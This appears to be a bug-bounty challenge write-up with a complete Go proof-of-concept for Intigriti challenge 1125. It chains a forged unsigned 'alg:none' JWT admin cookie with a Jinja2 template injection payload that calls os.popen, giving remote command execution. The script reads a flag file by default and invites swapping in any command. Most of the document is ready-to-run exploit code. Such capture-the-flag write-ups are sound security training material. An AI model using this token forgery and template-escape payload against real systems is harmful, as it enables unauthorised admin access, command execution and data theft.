# Intigriti Challenge 1125 – SSTI Chain PoC

## Overview
- **Vulnerability Type:** Server-side template injection (Jinja2 SSTI) + unsigned JWT.
- **Target:** `https://challenge-1125.intigriti.io`.
- **Impact:** Remote command execution (RCE) and sensitive file exposure.
- **This repo:** A small Go program (`main.go`) that automates the PoC.

## Impact
- Authenticated attacker equivalent privileges without credentials by forging JWT.
- Full remote code execution via template sandbox escape enables arbitrary file read/write, lateral movement, and persistence.
- Sensitive artifacts (e.g., `INTIGRITI{...}` flag) can be exfiltrated; database or secret leaks are highly likely.
- Exploit chain is zero-click once cookie is set, so detection is difficult and response window minimal.

## Root Cause
- The server accepts the JWT in the `token` cookie without verifying any signature (`alg: none`).
- The admin panel forwards `display_name` directly into Jinja2 and does not prevent access to internals such as `cycler.__init__.__globals__`.
- Combining both flaws lets an attacker mint an authenticated admin session and execute `os.popen` commands inside the template.

## PoC Flow
1. **JWT Crafting:** Build an `alg:none` token with admin privileges, encode header/payload using base64-url without padding, and form `header.payload.`.
2. **Cookie Injection:** Send `token=<jwt>` to the target domain (see `makeAdminSession()`).
3. **SSTI Payload:** Submit `{{ cycler.__init__.__globals__['os'].popen('<cmd>').read() }}` in `display_name` via `runCmd()`.
4. **Read Output:** Revisit the admin profile page and grab the `<p>` element under “Current Display Name” to obtain command output.

## PoC Section
- `main.go` leverages `makeAdminSession()` to craft the unsigned JWT and set the `token` cookie for an admin session.
- `runCmd(cmd string)` POSTs the SSTI payload into `display_name`, then fetches the same endpoint to scrape and print the result.
- `main()` calls `runCmd("cat /app/.aquacommerce/019a82cf.txt")`, but you can swap in any command to demonstrate RCE.
- Since the script is fully automated, include screenshots or raw output in your report to confirm the manual steps.

## Running the Tool

go run main.go

- Default command: `cat /app/.aquacommerce/019a82cf.txt`.
- Change the `runCmd("<cmd>")` call in `main()` to execute something else.

**Exploit Code**

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"strings"
	"time"

	"github.com/PuerkitoBio/goquery"
)

func b64(data interface{}) string {
	j, _ := json.Marshal(data)
	return base64.RawURLEncoding.EncodeToString(j)
}

func makeAdminSession() *http.Client {
	header := map[string]string{
		"alg": "none",
		"typ": "JWT",
	}
	payload := map[string]interface{}{
		"user_id":  1,
		"username": "admin",
		"role":     "admin",
		"exp":      time.Now().Unix() + 600,
	}

	token := b64(header) + "." + b64(payload) + "."

	jar, _ := cookiejar.New(nil)
	client := &http.Client{Jar: jar}

	// Cookie set et
	baseURL, _ := url.Parse("https://challenge-1125.intigriti.io")
	client.Jar.SetCookies(baseURL, []*http.Cookie{
		{
			Name:   "token",
			Value:  token,
			Path:   "/",
			Domain: "challenge-1125.intigriti.io",
		},
	})

	return client
}

func runCmd(cmd string) {
	client := makeAdminSession()

	tpl := fmt.Sprintf("{{ cycler.__init__.__globals__['os'].popen('%s').read() }}", cmd)

	form := url.Values{}
	form.Set("display_name", tpl)

	req, _ := http.NewRequest(
		"POST",
		"https://challenge-1125.intigriti.io/admin/profile",
		strings.NewReader(form.Encode()),
	)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	_, _ = client.Do(req)

	// GET profile
	resp, err := client.Get("https://challenge-1125.intigriti.io/admin/profile")
	if err != nil {
		fmt.Println("GET error:", err)
		return
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// HTML parse
	doc, _ := goquery.NewDocumentFromReader(strings.NewReader(string(body)))

	// "Current Display Name" altında gelen <p> elemanını çekiyoruz
	var output string
	doc.Find("label").Each(func(i int, s *goquery.Selection) {
		if strings.Contains(s.Text(), "Current Display Name") {
			p := s.Parent().Find("p")
			output = strings.TrimSpace(p.Text())
		}
	})

	if output == "" {
		fmt.Println("No output found (UI değişmiş olabilir)")
	} else {
		fmt.Println("CMD OUTPUT:\n" + output)
	}
}

func main() {
	runCmd("cat /app/.aquacommerce/019a82cf.txt")
}